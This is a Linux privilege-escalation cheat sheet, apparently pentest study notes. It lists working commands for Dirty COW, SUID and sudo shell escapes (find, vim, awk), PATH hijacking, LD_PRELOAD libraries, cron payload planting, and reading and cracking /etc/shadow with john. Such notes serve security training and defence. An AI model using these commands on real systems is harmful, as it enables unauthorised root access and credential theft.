2. Linux Privilege Escalation

🧠 Kernel Exploits (e.g. Dirty COW)

🔍 What:

Outdated kernels may have local privilege escalation (LPE) vulnerabilities like:

- **Dirty COW (CVE-2016-5195)** – allows writing to read-only memory.

⚙️ Tools:

- Exploits: `dirtycow.c`, `dcow`, `exploit-db`
- Check kernel version:

```
uname -a
```

🚩 Indicators:

- Old kernel version
- Lack of patches
- Writable memory areas

💥 How to exploit:

1. Upload `dirtycow.c`
2. Compile: `gcc dirtycow.c -o cow -pthread`
3. Run: `./cow`

🛡️ SUID / SGID Executables

🔍 What:

Files with the **SUID** (`chmod 4000`) or **SGID** (`chmod 2000`) bit run as the file **owner or group** (often root).

🧰 Tool: `GTFOBins`

🔎 Find SUIDs:

```
find / -perm -4000 -type f 2>/dev/null
```

⚡ Exploit Example:

If `/usr/bin/find` is SUID:

```
find . -exec /bin/sh -p \; -quit
```

📂 Exploiting Weak File Permissions

🔍 What:

- World-writable files or scripts used by root
- Writable `/etc/passwd` or cron scripts

🔎 Check:

```
find / -writable -type f 2>/dev/null
```

💥 Example:

Modify a script in `/etc/cron.daily/` owned by root but writable by current user.

⏰ Cron Jobs and Scheduled Tasks

🔍 What:

Root cron jobs that call user-writable files/scripts.

🔎 Check:

```
cat /etc/crontab
ls -l /etc/cron.*
```

💥 Exploit:

- Place a reverse shell or privilege escalation payload in the writable file
- Wait for cron to execute it

📦 PATH Variable Manipulation

🔍 What:

Scripts called by root that use relative paths (e.g., `cp`, `tar`, `wget`) without full path (`/bin/cp`).

🔎 Check:

Search for scripts:

```
grep -r "/bin" /etc/cron* /home/*
```

💥 Exploit:

1. Create malicious file with the same name:

```
echo "/bin/sh" > cp
chmod +x cp
```

2. Add its directory to `$PATH`:

```
export PATH=/tmp:$PATH
```

🔑 Password Hashes and Credential Reuse

🔍 What:

- Reusing credentials or cracking password hashes
- Weak `/etc/shadow` or exposed `.bash_history`

🔎 Find Hashes:

```
cat /etc/shadow  # (requires root or exploit)
```

🧰 Crack with John:

```
unshadow /etc/passwd /etc/shadow > combined.txt
john combined.txt --wordlist=rockyou.txt
```

⚙️ Exploiting Services Running as Root

🔍 What:

Services (e.g., web, database) running with root permissions but vulnerable.

🔎 Check:

```
ps aux | grep root
```

💥 Exploit:

- Command injection
- Buffer overflows
- Upload malicious reverse shell

🔓 Escaping Restricted Shells

🧰 Tools: Python, GTFOBins

🔍 Examples:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Or use GTFOBins like:

```
awk 'BEGIN {system("/bin/sh")}'
```

📚 LDPRELOAD / LDLIBRARY_PATH Exploits

🔍 What:

If a binary is run with root and doesn't sanitize `LD_PRELOAD` or `LD_LIBRARY_PATH`, a malicious library can be loaded.

💥 Steps:

1. Create `.c` file with malicious code (e.g., reverse shell)
2. Compile:

   ```
   gcc -fPIC -shared -o evil.so evil.c -nostartfiles
   ```

3. Run:

   ```
   LD_PRELOAD=./evil.so /path/to/vulnerable-binary
   ```

👨‍💼 Privilege Escalation via Misconfigured `sudo`

🔎 List sudo permissions:

```
sudo -l
```

💥 Examples:

- If you can run `vim`:

  ```
  sudo vim -c ':!/bin/sh'
  ```

- If allowed to run script as root:

  ```
  sudo /path/script.sh
  ```

Use GTFOBins to find specific commands that can be exploited.

📌 Summary Table

Technique	Exploit Target	Tool / Method
Kernel Exploits	Old Linux Kernel	dirtycow
SUID/SGID	Misconfigured binaries	`find / -perm -4000` + GTFOBins
Weak Permissions	World-writable scripts	`find / -writable -type f`
Cron Jobs	Root cron tasks	Modify script / add payload

Technique	Exploit Target	Tool / Method
PATH Manipulation	Unsecured environment PATH	Custom fake binaries
Password Hashes	/etc/shadow or backups	`john`, `unshadow`
Root Services	Root-level daemons	Code injection, misconfigs
Restricted Shell	Limited user shells	Python, awk, vi escape
LD Exploits	Misconfigured binaries	LD_PRELOAD + evil.so
sudo Misconfig	Limited sudo rights	`sudo -l` + GTFOBins
